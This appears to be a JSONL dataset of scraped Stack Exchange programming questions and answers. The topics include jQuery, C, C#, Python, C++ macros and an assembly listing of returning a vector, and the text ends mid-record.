{"id": "hf_38cb22f10544", "question": "<p>How can I display a calendar control (date picker) in Oracle forms 9/10?</p>\n", "question_body": "", "answer": "Unfortunately this is not possible in Qt4.\nIn Qt3 you could create custom slots which where then implemented in the ui.h file. However, Qt4 does not use this file so custom slots are not supported.\nThere is some discussion of this issue over on\nQtForum", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.903201"}
{"id": "hf_330b3cf47387", "question": "<p>I need to add a tooltip/alt to a \"td\" element inside of my tables with jquery.</p>\n\n<p>Can someone help me out?</p>\n\n<p>I tried:</p>\n\n<pre><code>var tTip =\"Hello world\";\n$(this).attr(\"onmouseover\", tip(tTip));\n</code></pre>\n\n<p>where I have verified that I am using the \"td\" as \"this\".</p>\n\n<p>**Edit:**I am able to capture the \"td\" element through using the \"alert\" command and it worked.  So for some reason the \"tip\" function doesn't work.  Anyone know why this would be?</p>\n", "question_body": "", "answer": "```\n```\n$(this).mouseover(function() {\n    tip(tTip);\n});\n```\n```\na better way might be to put\n```\ntitle\n```\nattributes in your HTML. That way, if someone has javascript turned off, they'll still get a tool tip (albeit not as pretty/flexible as you can do with jQuery).\n```\n```\n<table id=\"myTable\">\n    <tbody>\n        <tr>\n            <td title=\"Tip 1\">Cell 1</td>\n            <td title=\"Tip 2\">Cell 2</td>\n        </tr>\n    </tbody>\n</table>\n```\n```\nand then use this code:\n```\n```\n$('#myTable td[title]')\n    .hover(function() {\n        showTooltip($(this));\n    }, function() {\n        hideTooltip();\n    })\n;\n\nfunction showTooltip($el) {\n    // insert code here to position your tooltip element (which i'll call $tip)\n    $tip.html($el.attr('title'));\n}\nfunction hideTooltip() {\n    $tip.hide();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.927069"}
{"id": "hf_428fe8774a8c", "question": "<p>How to use data mining feature of SQL Server 2008 with ASP.Net</p>\n", "question_body": "", "answer": "Take a look at\nSqlServerDataMining.com\n, a site run by Microsoft's SQL Server Data Mining team.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.973124"}
{"id": "hf_906ed40b1942", "question": "<p>I need a function to return a suffix for days when displaying text like the \"<code>th</code>\" in \"<code>Wednesday June 5th, 2008</code>\".</p>\n\n<p>It only need work for the numbers 1 through 31 (no error checking required) and English.</p>\n", "question_body": "", "answer": "The following function works for C:\n```\n```\nchar *makeDaySuffix (unsigned int day) {\n    //if ((day < 1) || (day > 31)) return \"\";\n    switch (day) {\n        case 1: case 21: case 31: return \"st\";\n        case 2: case 22:          return \"nd\";\n        case 3: case 23:          return \"rd\";\n    }\n    return \"th\";\n}\n```\n```\nAs requested, it only works for the numbers 1 through 31 inclusive. If you want (possibly, but not necessarily) raw speed, you could try:\n```\n```\nchar *makeDaySuffix (unsigned int day) {\n    static const char * const suffix[] = {\n        \"st\",\"nd\",\"rd\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\n        \"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\"\n        \"st\",\"nd\",\"rd\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\",\"th\"\n        \"st\"\n    };\n    //if ((day < 1) || (day > 31)) return \"\";\n    return suffix[day-1];\n}\n```\n```\nYou'll note that I have bounds checking in there though commented out. If there's even the\nslightest\npossibility that an unexpected value will be passed in, you'll probably want to uncomment those lines.\nJust keep in mind that, with the compilers of today, naive assumptions about what is faster in a high-level language may not be correct:\nmeasure, don't guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.998220"}
{"id": "hf_14c410d043ea", "question": "<p>Could you please explain what the practical usage is for the <code>internal</code> keyword in C#?</p>\n\n<p>I know that the <code>internal</code> modifier limits access to the current assembly, but when and in which circumstance should I use it?</p>\n", "question_body": "", "answer": "When you have classes or methods which don't fit cleanly into the Object-Oriented Paradigm, which do dangerous stuff, which need to be called from other classes and methods under your control, and which you don't want to let anyone else use.\n```\n```\npublic class DangerousClass {\n    public void SafeMethod() { }\n    internal void UpdateGlobalStateInSomeBizarreWay() { }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.020912"}
{"id": "hf_8ae4585fee4a", "question": "<p>The <code>end()</code> function in jQuery reverts the element set back to what it was before the last destructive change, so I can see how it's supposed to be used, but I've seen some code examples, eg: <a href=\"http://alistapart.com/articles/prettyaccessibleforms\" rel=\"nofollow noreferrer\">on alistapart</a> <em>(which were probably from older versions of jQuery - the article is from 2006)</em> which finished every statement off with <code>.end()</code>. eg:</p>\n\n<pre><code>$( 'form.cmxform' ).hide().end();\n</code></pre>\n\n<ul>\n<li>Does this have any effect?</li>\n<li>Is it something I should also be doing?</li>\n<li>What does the above code even return?</li>\n</ul>\n", "question_body": "", "answer": "That\n```\nend()\n```\ndoesn't do anything. There's no point to coding like that. It will return\n```\n$('#myBox')\n```\n-- the example is pretty poor. More interesting is something like this:\n```\n```\n$('#myBox').show ().children ('.myClass').hide ().end ().blink ();\n```\n```\nWhich will show\n```\nmyBox\n```\n, hide the specified children, and then blink the box. There are more interesting examples here:\nhttp://simonwillison.net/2007/Aug/15/jquery/\nsuch as:\n```\n```\n$('form#login')\n    // hide all the labels inside the form with the 'optional' class\n    .find('label.optional').hide().end()\n    // add a red border to any password fields in the form\n    .find('input:password').css('border', '1px solid red').end()\n    // add a submit handler to the form\n    .submit(function(){\n        return confirm('Are you sure you want to submit?');\n    });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.066773"}
{"id": "hf_3112dcca6daf", "question": "<p>It seems pretty common to want to let your javascript know a particular dom node corresponds to a record in the database.  So, how do you do it?</p>\n\n<p>One way I've seen that's pretty common is to use a class for the type and an id for the id:</p>\n\n<pre><code>&lt;div class=\"thing\" id=\"5\"&gt;\n&lt;script&gt; myThing = select(\".thing#5\") &lt;/script&gt;\n</code></pre>\n\n<p>There's a slight html standards issue with this though -- if you have more than one type of record on the page, you may end up duplicating IDs.  But that doesn't do anything bad, does it?</p>\n\n<p>An alternative is to use data attributes:</p>\n\n<pre><code>&lt;div data-thing-id=\"5\"&gt;\n&lt;script&gt; myThing = select(\"[data-thing-id=5]\") &lt;/script&gt;\n</code></pre>\n\n<p>This gets around the duplicate IDs problem, but it does mean you have to deal with attributes instead of IDs, which is sometimes more difficult.  What do you guys think?</p>\n", "question_body": "", "answer": "```\n```\n<div class=\"thing\" id=\"myapp-thing-5\"/>\n\n// Get thing on the page for a particular ID\nvar myThing = select(\"#myapp-thing-5\");\n\n// Get ID for the first thing on the page\nvar thing_id = /myapp-thing-(\\d+)/.exec ($('.thing')[0].id)[1];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.172584"}
{"id": "hf_add90a854efc", "question": "<p>I have a question about locking. This doesn't have to be only about record locking, but anyway.</p>\n\n<p>Let's say I'm writing a web accessible CMS. I am struggling with some ideas.</p>\n\n<p>I could, on the moment when a user opens an article for editing, flag the article as being 'in use'. so far so good.</p>\n\n<p>but when do I remove the flag? when the user saves the article? but what if the user doesn't feel like typing anymore and decides to close his browser and go to bed?</p>\n\n<p>a time-out mechanism comes to mind, but how long does it take to write an article? 10 minutes too short, 30 minutes too long..</p>\n\n<p>Maybe I am over-complicating this. I'd like to hear your thoughts on this subject.</p>\n", "question_body": "", "answer": "My vote is for\noptimistic locking\nwherever possible.\nIn one place, where I have implemented actual locks, I had an admin page to remove locks. There was also a service running on the server to unlock any locks which did not have a corresponding active session..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.220807"}
{"id": "hf_79764a1e37ad", "question": "<p>I'm looking for very simple obfuscation (like encrypt and decrypt but not necessarily secure) functionality for some data. It's not mission critical. I need something to keep honest people honest, but something a little stronger than <a href=\"http://en.wikipedia.org/wiki/ROT13\" rel=\"noreferrer\">ROT13</a> or <a href=\"http://en.wikipedia.org/wiki/Base64\" rel=\"noreferrer\">Base64</a>.</p>\n\n<p>I'd prefer something that is already included in the <a href=\"http://en.wikipedia.org/wiki/.NET_Framework\" rel=\"noreferrer\">.NET</a> framework 2.0, so I don't have to worry about any external dependencies.</p>\n\n<p>I really don't want to have to mess around with public/private keys, etc. I don't know much about encryption, but I do know enough to know that anything I wrote would be less than worthless... In fact, I'd probably screw up the math and make it trivial to crack.</p>\n", "question_body": "", "answer": "The namespace\n```\nSystem.Security.Cryptography\n```\ncontains the\n```\nTripleDESCryptoServiceProvider\n```\nand\n```\nRijndaelManaged\n```\nclasses\nDon't forget to add a reference to the\n```\nSystem.Security\n```\nassembly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.245836"}
{"id": "hf_b6a20744c2bd", "question": "<p>I want to do some benchmarking of a C# process, but I don't want to use time as my vector - I want to count the number of IL instructions that get executed in a particular method call. Is this possible?</p>\n\n<p><strong>Edit</strong> I don't mean static analysis of a method body - I'm referring to the actual number of instructions that are executed - so if, for example, the method body includes a loop, the count would be increased by however many instructions make up the loop * the number of times the loop is iterated.</p>\n", "question_body": "", "answer": "Well, it won't be easy.   I\nthink\nyou could instrument your assembly post-compile with performance counter code that executed after blocks of IL.  For example, if you had a section of a method that loaded an int onto the stack then executed a static method using that int under optimized code, you could record a count of 2 for the int load and call.\nEven using existing IL/managed assembly reading/writing projects, this would be a pretty daunting task to pull off.\nOf course, some instructions that your counter recorded might get optimized away during just-in-time compiling to x86/ia64/x64, but that is a risk you'd have to take to try to profile based on an abstract lanaguage like IL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.269253"}
{"id": "hf_23c9bff80987", "question": "<p>What are opinions on the design of a \"performance assertion checking\" system?</p>\n\n<p>The idea is that a developer makes some assertions about his/her code and use these to test the evolution of the <strong>performance</strong> of the code. What is the experience with such a system?</p>\n\n<p>My current block is \"What's a better way to translate these assertions, written in a specified language (that are to be checked against specified logs or runtime instrumentation) into, say, CLR, or assembly or bytecode that could be executed?\"</p>\n\n<p>Currently I have written a parser that parses the specification and holds it in a data structure.</p>\n", "question_body": "", "answer": "Do we embed performance checks in our application?  No.  The reason is that the performance checks themselves take time and our application is very sensitive to performance.\nInstead, we make our performance checks a test.  And for that we use NUnit.  For our nightly builds, we run the test, we generate a log with detailed timing data as well as a pass/fail indication given our requirements.  Since we keep our logs around for some time -- forever for beta and production releases -- we can track performance over time as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.305946"}
{"id": "hf_95ef3eaaa6b8", "question": "<p>How do you go about doing a daily build and striving for a zero-defect environment? Does it mean I never get to go home until I've killed all the bugs in my new code? Or does it mean I just don't check my code back in until I've fully tested it, which leaves the code effectively branched for a much longer time?</p>\n\n<p>I'm working with a handful of programmers for the first time (as opposed to working on my own, or with just one other coder), so I'm just wrestling with decisions like this for the first time. Should we adopt a software development process?</p>\n", "question_body": "", "answer": "Simple: Never check in code with\n(known)\nbugs in it. This doesn't mean you check in once per day. Check in when you have a meaningful change implemented so the other developers can get access to it.\nWe always integrate locally, run our tests against the code, and when all passes, we check in.  I check in about 20-30 times a day when working.  The build server picks up changes and it runs builds against the system. Continous Integration (CI) is a good thing. :D\nContinuous Integration - Automate Your Builds\nStart out with building successfully and keep it that way as much as possible. It is essential in a team environment. Just remember that builds will break. It's expected that they break every once in awhile. It is a sign that you just inadvertently checked in something bad, and you stop what you are doing to make the build green again. A build server that never has broken builds is a warning sign!\nI also agree with chadmyers' answer: Whatever you decide, it needs to be automatic and automated. The best thing about automating tools to do this kind of stuff for you is that you no longer have to think about it or remember to do it. Or like Chad said, you don't stop doing it.\nI could recommend make a recommendation for CI tools but have a look here:\nWhat tools do you use for Automated Builds / Automated Deployments? Why?\nOnce you have CI, you can get higher quality if you can inject some humor (and shame) by introducing a broken build token!\nhttp://ferventcoder.com/archive/2008/08/20/continuous-integration-enhancement--the-broken-build-token.aspx\nUse a Good Tool for Automated Builds\nMost people in .NET land use NAnt or MSBuild scripts to have automated builds that they can later hook up to their CI server. If you are just starting out, my suggestion would be to use\nUppercuT\n, it is an insanely easy to use build framework that uses NAnt. Here is a second link with deeper explanations:\nUppercuT\n.\nBranches vs Trunk for Active Development\nYou would not have to branch unless you leave trunk open only for releases (which means that everyone else is working in the same branch as you). But I would have CI on both the trunk and the active development branch.\nSoftware Development Process\nAlso to answer the question on a software development process, the answer is a resounding yes. But don't rush into anything unless a drastic change is required. Pick a process you want to migrate towards and slowly start adopting processes. And evaluate, evaluate, evaluate. If the particular process is not working for your group, figure out if you are doing something wrong or if you just need to eliminate it.  And then do. Whatever process you end up with needs to work for you or it won't work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.362960"}
{"id": "hf_e655174f317e", "question": "<p>Many of the questions asked here are relevant to research I'm doing. These questions and answers are widely dispersed and not always easy to find, doing manual browsing, and sometimes an insightful answer or comment occurs in unrelated topics as well.</p>\n\n<p>I want to automate finding these relevant Q's &amp; A's, based on sets of keywords, then use the information as pointers towards further in-depth research.</p>\n\n<p>What tools, preferably open-source, are available that I can use for this type of site-mining? I am not a web guru &amp; for me to try to develop them will take a long time and also impact on time I could have spent on my R&amp;D.</p>\n", "question_body": "", "answer": "Human interaction tools might be useful in such case (no development cost, probably a more consistent outcome, and evolving requirements).\nCouple comes to mind:\nMechanical Turk\n.\nTime Svr\n(more expensive) -\nexperiment/review\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.387756"}
{"id": "hf_f93e0e6e565f", "question": "<p>Suppose I have a class with some attributes. How is it best (in the Pythonic-OOP) sense to access these attributes ? Just like <code>obj.attr</code> ? Or perhaps write get accessors ? \nWhat are the accepted naming styles for such things ?</p>\n\n<p><strong>Edit:</strong>\nCan you elaborate on the best-practices of naming attributes with a single or double leading underscore ? I see in most modules that a single underscore is used.</p>\n\n<hr>\n\n<p>If this question has already been asked (and I have a hunch it has, though searching didn't bring results), please point to it - and I will close this one.</p>\n", "question_body": "", "answer": "I think most just access them directly, no need for get/set methods.\n```\n```\n>>> class myclass:\n...     x = 'hello'\n...\n>>>\n>>> class_inst = myclass()\n>>> class_inst.x\n'hello'\n>>> class_inst.x = 'world'\n>>> class_inst.x\n'world'\n```\n```\nBTW, you can use the dir() function to see what attributes/methods are attached to your instance:\n```\n```\n>>> dir(class_inst)\n['__doc__', '__module__', 'x']\n```\n```\nTwo leading underbars, \"__\" are used to make a attribute or function private.\nFor other conventions refer to PEP 08:\nhttp://www.python.org/dev/peps/pep-0008/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.450269"}
{"id": "hf_0c9482185f61", "question": "<p>Is there a way to step through a .bat script? The thing is, I have a build script , which calls a lot of other scripts, and I would like to see what is the order in which they are called, so that I may know where exactly I have to go about and add my modifications.</p>\n", "question_body": "", "answer": "The only way I can think of is spinkle the code with\n```\necho\n```\ns and\n```\npause\n```\ns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.498929"}
{"id": "hf_bd9ac89aec55", "question": "<p>I have a windows mobile 5.0 app, written in C++ MFC, with lots of dialogs.  One of the devices I'm currently targetting does not have a tab key, so I would like to use another key to move between controls.  This is fine for buttons but not edit controls or combo boxes.  I have looked at a <a href=\"https://stackoverflow.com/questions/52098/how-do-you-navigate-out-of-a-combobox-on-a-windows-mobile-device-without-a-tab\">similar question</a> but the answer does not really suit.  I've tried overriding the CDialog::OnKeyDown to no avail, and would rather not have to override the keystroke functionality for every control in every dialog.  My thoughts so far are to write new classes replacing CEdit and CComboBox, but as always am just checking if there is an easier way, such as temporarily re-programming another key.</p>\n", "question_body": "", "answer": "I don't know MFC\nthat good\n, but maybe you could pull it off by subclassing window procedures of all those controls with a single class, which would only handle cases of pressing cursor keys and pass the rest of events to the original procedures.\nYou would have to provide your own mechanism of moving to an appropriate control, depending on which cursor key was pressed but it may be worth the usability gains.\nIf that worked, you could enumerate all dialog controls and subclass them automatically.\nWindows Mobile 6 allows switching between dialog controls using cursors by default - it's a new, more \"smartphoney\" way of moving around the UI and it's incredibly convenient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.571231"}
{"id": "hf_1fb3d022d2e8", "question": "<p>What is meant by ‘value semantics’, and what is meant by ‘implicit pointer semantics’?</p>\n", "question_body": "", "answer": "Java is using implicit pointer semantics for Object types and value semantics for primitives.\nValue semantics means that you deal directly with values and that you pass copies around.\nThe point here is that when you have a value, you can trust it won't change behind your back.\nWith pointer semantics, you don't have a value, you have an 'address'.\nSomeone else could alter what is there, you can't know.\nPointer Semantics in C++ :\n```\n```\nvoid foo(Bar * b) ...\n... b->bar() ...\n```\n```\nYou need an * to ask for pointer semantics and -> to call methods on the pointee.\nImplicit Pointer Semantics in Java :\n```\n```\nvoid foo(Bar b) ...\n... b.bar() ...\n```\n```\nSince you don't have the choice of using value semantics, the * isn't needed nor the distinction between -> and ., hence the implicit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.660652"}
{"id": "hf_2ef636b4f923", "question": "<p>So most Java resources when speaking of packages mention a <code>com.yourcompany.project</code> setup. However, I do not work for a company, and don't have a website. Are there any naming conventions that are common? An email address, perhaps?</p>\n", "question_body": "", "answer": "Use a top-level domain like 'bernard' or something else unique.   The important part is that the domain is unique so that you avoid clashes, and not that it starts with a real Internet top-level domain like org or com.   E.g.\n```\n```\nimport java.util.*;\nimport bernard.myProject.*;\nimport org.apache.commons.lang.*;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.698489"}
{"id": "hf_fb2a747b0333", "question": "<p>I have the following preprocessor divective:</p>\n\n<pre><code>#ifndef NDEBUG\n#define TRACE printf\n#else\n#define TRACE(...)\n#endif\n</code></pre>\n\n<p>and example of usage is:</p>\n\n<pre><code>TRACE(\"TRACE: some parameter = %i\\n\", param);\n</code></pre>\n\n<p>In C all works perfectly well when I build both debug and release versions, but in C++ compiler emits the following:</p>\n\n<p>warning: invalid character in macro parameter name</p>\n\n<p>error: badly punctuated parameter list in `#define'</p>\n\n<p>and points these warning and error to the 'TRACE(...)' directive.</p>\n\n<p>How to write this in C++ correctly?</p>\n", "question_body": "", "answer": "You could do:\n```\n```\ninline void TRACE(...) {}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.748688"}
{"id": "hf_288098a70733", "question": "<p>What's the best available online resource.</p>\n", "question_body": "", "answer": "I have only played with the Mobile Framework briefly but a good start would be\nWindows Mobile Developer Center\nAlso it is worth looking at some example open source projects on\nCodePlex\n. \nMicrosoft on every training event is encouraging people to use it, and from my experience you can find some interesting projects there at least in standard .Net. I suppose the same applies to Mobile", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.773338"}
{"id": "hf_e00755f3c8db", "question": "<p>I'm interested: What is C#'s analog of <code>std::pair</code> in C++? I found <code>System.Web.UI.Pair</code> class, but I'd prefer something template-based.</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Tuples\nare available since .NET4.0\nand support generics:\n```\n```\nTuple<string, int> t = new Tuple<string, int>(\"Hello\", 4);\n```\n```\nIn previous versions you can use\n```\nSystem.Collections.Generic.KeyValuePair<K, V>\n```\nor a solution like the following:\n```\n```\npublic class Pair<T, U> {\n    public Pair() {\n    }\n\n    public Pair(T first, U second) {\n        this.First = first;\n        this.Second = second;\n    }\n\n    public T First { get; set; }\n    public U Second { get; set; }\n};\n```\n```\nAnd use it like this:\n```\n```\nPair<String, int> pair = new Pair<String, int>(\"test\", 2);\nConsole.WriteLine(pair.First);\nConsole.WriteLine(pair.Second);\n```\n```\nThis outputs:\n```\n```\ntest\n2\n```\n```\nOr even this chained pairs:\n```\n```\nPair<Pair<String, int>, bool> pair = new Pair<Pair<String, int>, bool>();\npair.First = new Pair<String, int>();\npair.First.First = \"test\";\npair.First.Second = 12;\npair.Second = true;\n\nConsole.WriteLine(pair.First.First);\nConsole.WriteLine(pair.First.Second);\nConsole.WriteLine(pair.Second);\n```\n```\nThat outputs:\n```\n```\ntest\n12\ntrue\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.799159"}
{"id": "hf_d6135cb7647a", "question": "<p>Starting new .NET projects always involves a bit of work. You have to create the solution, add projects for different tiers (Domain, DAL, Web, Test), set up references, solution structure, copy javascript files, css templates and master pages etc etc.</p>\n\n<p>What I'd like is <strong>an easy way of cloning any given solution</strong>. </p>\n\n<p>If you use copy/paste, the problem is that you need to then go through renaming namespaces, assembly names, solution names, GUIDs etc. </p>\n\n<p>Is there a way of automating this?</p>\n\n<p>Something like this would be great:</p>\n\n<pre><code>solutionclone.exe --solution=c:\\code\\abc\\template.sln --to=c:\\code\\xyz --newname=MySolution \n</code></pre>\n\n<p>I'm aware that Visual Studio has project templates, but I've not seen solution templates.</p>\n", "question_body": "", "answer": "As you already found out: Copy the .sln File and make sure the paths/guids match.\nBecause the .sln are\n```\ntext/plain\n```\njust use your favourite scripting language to script a cloner.\nMaybe this is a good time to learn Python/Ruby/Perl/\nWindows Script Host\nMSDN Solution (.sln) File Definition", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:28.824452"}
{"id": "hf_d68c56040f63", "question": "<p>If I want to call <code>Bar()</code> instead of <code>Foo()</code>, does <code>Bar()</code> return me a copy (additional overhead) of what Foo() returns, or it returns the same object which <code>Foo()</code> places on the temporary stack?</p>\n\n<pre><code>vector&lt;int&gt; Foo(){  \n    vector&lt;int&gt; result;  \n    result.push_back(1);  \n    return result;  \n}  \nvector&lt;int&gt; Bar(){  \n    return Foo();  \n}\n</code></pre>\n", "question_body": "", "answer": "Normally it returns a copy of the returned\n```\nvector<int>\n```\n. However this highly depends on the optimization done by the compiler. See the following discussion.\nDebug Build\n```\n```\nvector<int> Foo(){  \n004118D0  push        ebp  \n004118D1  mov         ebp,esp \n004118D3  push        0FFFFFFFFh \n004118D5  push        offset __ehhandler$?Foo@@YA?AV?$vector@HV?$allocator@H@std@@@std@@XZ (419207h) \n004118DA  mov         eax,dword ptr fs:[00000000h] \n004118E0  push        eax  \n004118E1  sub         esp,0F4h \n004118E7  push        ebx  \n004118E8  push        esi  \n004118E9  push        edi  \n004118EA  lea         edi,[ebp-100h] \n004118F0  mov         ecx,3Dh \n004118F5  mov         eax,0CCCCCCCCh \n004118FA  rep stos    dword ptr es:[edi] \n004118FC  mov         eax,dword ptr [___security_cookie (41E098h)] \n00411901  xor         eax,ebp \n00411903  push        eax  \n00411904  lea         eax,[ebp-0Ch] \n00411907  mov         dword ptr fs:[00000000h],eax \n0041190D  mov         dword ptr [ebp-0F0h],0 \n    vector<int> result;  \n00411917  lea         ecx,[ebp-24h] \n0041191A  call        std::vector<int,std::allocator<int> >::vector<int,std::allocator<int> > (411050h) \n0041191F  mov         dword ptr [ebp-4],1 \n    result.push_back(1);  \n00411926  mov         dword ptr [ebp-0FCh],1 \n00411930  lea         eax,[ebp-0FCh] \n00411936  push        eax  \n00411937  lea         ecx,[ebp-24h] \n0041193A  call        std::vector<int,std::allocator<int> >::push_back (41144Ch) \n    return result;  \n0041193F  lea         eax,[ebp-24h] \n00411942  push        eax  \n00411943  mov         ecx,dword ptr [ebp+8] \n00411946  call        std::vector<int,std::allocator<int> >::vector<int,std::allocator<int> > (41104Bh) \n0041194B  mov         ecx,dword ptr [ebp-0F0h] \n00411951  or          ecx,1 \n00411954  mov         dword ptr [ebp-0F0h],ecx \n0041195A  mov         byte ptr [ebp-4],0 \n0041195E  lea         ecx,[ebp-24h] \n00411961  call        std::vector<int,std::allocator<int> >::~vector<int,std::allocator<int> > (411415h) \n00411966  mov         eax,dword ptr [ebp+8] \n}\n```\n```\nHere we can see that for\n```\nvector<int> result;\n```\na new object is created on the stack at\n```\n[ebp-24h]\n```\n```\n```\n00411917  lea         ecx,[ebp-24h] \n0041191A  call        std::vector<int,std::allocator<int> >::vector<int,std::allocator<int> > (411050h)\n```\n```\nWhen we get to\n```\nreturn result;\n```\na new copy is created in storage allocated by the caller at\n```\n[ebp+8]\n```\n```\n```\n00411943  mov         ecx,dword ptr [ebp+8] \n00411946  call        std::vector<int,std::allocator<int> >::vector<int,std::allocator<int> > (41104Bh)\n```\n```\nAnd the destructor is called for the local parameter\n```\nvector<int> result\n```\nat\n```\n[ebp-24h]\n```\n```\n```\n0041195E  lea         ecx,[ebp-24h] \n00411961  call        std::vector<int,std::allocator<int> >::~vector<int,std::allocator<int> > (411415h)\n```\n```\nRelease Build\n```\n```\nvector<int> Foo(){  \n00401110  push        0FFFFFFFFh \n00401112  push        offset __ehhandler$?Foo@@YA?AV?$vector@HV?$allocator@H@std@@@std@@XZ (401F89h) \n00401117  mov         eax,dword ptr fs:[00000000h] \n0040111D  push        eax  \n0040111E  sub         esp,14h \n00401121  push        esi  \n00401122  mov         eax,dword ptr [___security_cookie (403018h)] \n00401127  xor         eax,esp \n00401129  push        eax  \n0040112A  lea         eax,[esp+1Ch] \n0040112E  mov         dword ptr fs:[00000000h],eax \n00401134  mov         esi,dword ptr [esp+2Ch] \n00401138  xor         eax,eax \n0040113A  mov         dword ptr [esp+8],eax \n    vector<int> result;  \n0040113E  mov         dword ptr [esi+4],eax \n00401141  mov         dword ptr [esi+8],eax \n00401144  mov         dword ptr [esi+0Ch],eax \n    result.push_back(1);  \n    return result;  \n00401147  push        eax  \n00401148  mov         dword ptr [esp+28h],eax \n0040114C  mov         ecx,1 \n00401151  push        esi  \n00401152  lea         eax,[esp+14h] \n00401156  mov         dword ptr [esp+10h],ecx \n0040115A  mov         dword ptr [esp+14h],ecx \n0040115E  push        eax  \n0040115F  lea         ecx,[esp+1Ch] \n00401163  push        ecx  \n00401164  mov         eax,esi \n00401166  call        std::vector<int,std::allocator<int> >::insert (401200h) \n0040116B  mov         